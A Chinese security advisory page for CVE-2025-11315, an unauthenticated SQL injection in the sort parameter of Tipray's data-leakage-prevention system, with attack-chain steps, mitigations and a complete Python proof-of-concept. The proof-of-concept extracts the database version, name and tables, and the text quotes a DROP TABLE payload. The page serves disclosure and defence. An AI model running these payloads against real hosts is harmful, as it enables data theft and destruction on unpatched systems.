IPBUF安全漏洞报告
English
CVE-2025-11315 CVSS 7.3 高危

CVE-2025-11315:天锐数据泄露防护系统findUserPage SQL注入漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-11315
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tipray 厦门天锐科技股份有限公司 Data Leakage Prevention System 天锐数据泄露防护系统

相关标签

SQL注入天锐科技数据泄露防护系统TiprayCVE-2025-11315高危漏洞未授权访问远程利用findUserPage

漏洞概述

CVE-2025-11315是厦门天锐科技股份有限公司(Tipray)旗下天锐数据泄露防护系统(Data Leakage Prevention System)1.0版本中存在的一个高危SQL注入漏洞。该漏洞位于系统的findUserPage.do文件中的findUserPage函数,攻击者可通过操纵传入的sort参数触发SQL注入攻击。由于该漏洞无需认证即可远程利用,且攻击复杂度低,对系统的机密性、完整性和可用性均造成低级别影响,综合CVSS 3.1评分为7.3分,属于高危级别漏洞。

天锐数据泄露防护系统是一款企业级数据安全产品,主要用于防止企业敏感数据泄露。该系统被广泛应用于政府、金融、制造业等对数据安全要求较高的行业。一旦该系统遭受SQL注入攻击,攻击者可能获取系统中存储的用户信息、敏感数据配置等关键内容,甚至可能通过数据库提权进一步控制整个系统,对企业数据安全构成严重威胁。

该漏洞的PoC(概念验证代码)已在GitHub等公开平台发布,任何具备基本攻击能力的攻击者均可直接利用。值得注意的是,尽管安全研究人员已提前通知厂商,但天锐科技未对此漏洞披露做出任何回应,也未发布相应的安全补丁,这使得使用该产品的企业面临较大的安全风险。

技术细节

该漏洞的根因在于天锐数据泄露防护系统findUserPage.do接口中的findUserPage函数未对用户输入的sort参数进行充分的过滤和参数化处理。当系统接收到包含排序字段的HTTP请求时,sort参数的值被直接拼接到SQL查询语句中,未使用预编译语句(PreparedStatement)或参数化查询,导致攻击者可以通过构造特殊的sort参数值注入恶意SQL代码。

攻击者可以通过在sort参数中注入类似"id; DROP TABLE users--"或使用UNION SELECT等SQL注入payload,利用ORDER BY子句的注入点执行任意SQL查询。由于该接口无需身份验证(PR:N),攻击者可以直接通过网络远程发起攻击(AV:N),且无需用户交互(UI:N)。

利用方式如下:攻击者首先向目标系统的findUserPage.do端点发送带有恶意sort参数的HTTP请求,参数中包含SQL注入payload。由于sort参数通常用于指定排序字段和排序方式(如"id ASC"或"username DESC"),攻击者可以将其修改为类似"id AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- "的形式,利用基于错误的SQL注入技术获取数据库信息。攻击成功后,攻击者可读取数据库中的敏感数据、修改或删除数据,甚至在特定条件下执行操作系统命令。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎、Shodan等工具识别暴露在公网的天锐数据泄露防护系统,定位目标系统的findUserPage.do接口。
STEP 2
步骤2:漏洞探测
攻击者向findUserPage.do接口发送带有特殊sort参数的HTTP请求,通过布尔盲注或报错注入方式确认SQL注入漏洞的存在。
STEP 3
步骤3:数据库信息提取
利用SQL注入漏洞,通过extractvalue、updatexml等MySQL报错函数或UNION联合查询,逐步提取数据库版本、当前数据库名、表名和列名等元数据信息。
STEP 4
步骤4:敏感数据窃取
获取数据库结构后,攻击者查询包含用户凭证、系统配置、敏感文件信息等关键数据表,窃取企业敏感信息。
STEP 5
步骤5:权限提升与持久化
在获取数据库管理员权限后,攻击者可能尝试写入Webshell、创建管理员账户或利用UDF(用户自定义函数)执行操作系统命令,实现对目标系统的完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11315 - Tipray Data Leakage Prevention System SQL Injection PoC # Vulnerability: SQL Injection via sort parameter in findUserPage.do # Author: Security Researcher import requests import sys TARGET_URL = "http://target-host:port" VULNERABLE_ENDPOINT = "/findUserPage.do" def exploit_sqli(target_url, sort_payload): """ Exploit SQL injection in the sort parameter of findUserPage function. The sort parameter is directly concatenated into SQL query without sanitization. """ url = target_url + VULNERABLE_ENDPOINT # Construct malicious sort parameter with SQL injection payload # Using ORDER BY injection technique via sort parameter params = { "sort": sort_payload, "page": "1", "rows": "10" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(url, params=params, headers=headers, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return None def detect_injection(target_url): """Detect if the target is vulnerable to SQL injection""" # Test payloads for ORDER BY based SQL injection payloads = [ "id", # Normal request "id ASC", # Normal sort "id AND 1=1", # Boolean true test "id AND 1=2", # Boolean false test "id,(SELECT 1)", # Error-based detection "id AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)", # Extract database name ] for payload in payloads: print(f"[*] Testing payload: {payload[:50]}...") response = exploit_sqli(target_url, payload) if response and ("Duplicate entry" in response.text or "error" in response.text.lower()): print(f"[+] Target is vulnerable! Database info may be leaked.") print(response.text[:500]) return True return False def extract_data(target_url): """Extract sensitive data from the database""" # Error-based injection to extract database version payload = "id AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))" response = exploit_sqli(target_url, payload) if response: print(f"[+] Database version info:") print(response.text) # Extract current database name payload = "id AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))" response = exploit_sqli(target_url, payload) if response: print(f"[+] Current database:") print(response.text) # Extract table names payload = "id AND extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))" response = exploit_sqli(target_url, payload) if response: print(f"[+] Table names:") print(response.text) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] print(f"[*] Target: {target}") print(f"[*] CVE-2025-11315 SQL Injection Exploit") print("-" * 50) if detect_injection(target): extract_data(target) else: print("[-] Target may not be vulnerable or payload needs adjustment.")

影响范围

Tipray 天锐数据泄露防护系统 1.0

防御指南

临时缓解措施
在厂商发布正式补丁之前,建议采取以下临时缓解措施:1)在网络层面限制findUserPage.do接口的访问,仅允许可信IP访问;2)部署Web应用防火墙(WAF)规则,对包含SQL关键字(如UNION、SELECT、UPDATE、DELETE等)的sort参数请求进行拦截;3)在反向代理或负载均衡层面对sort参数进行严格的正则校验,仅允许字母、数字、下划线和特定排序关键字(ASC、DESC)通过;4)监控数据库日志,发现异常查询行为及时告警;5)考虑暂时关闭非必要的findUserPage功能模块,降低攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表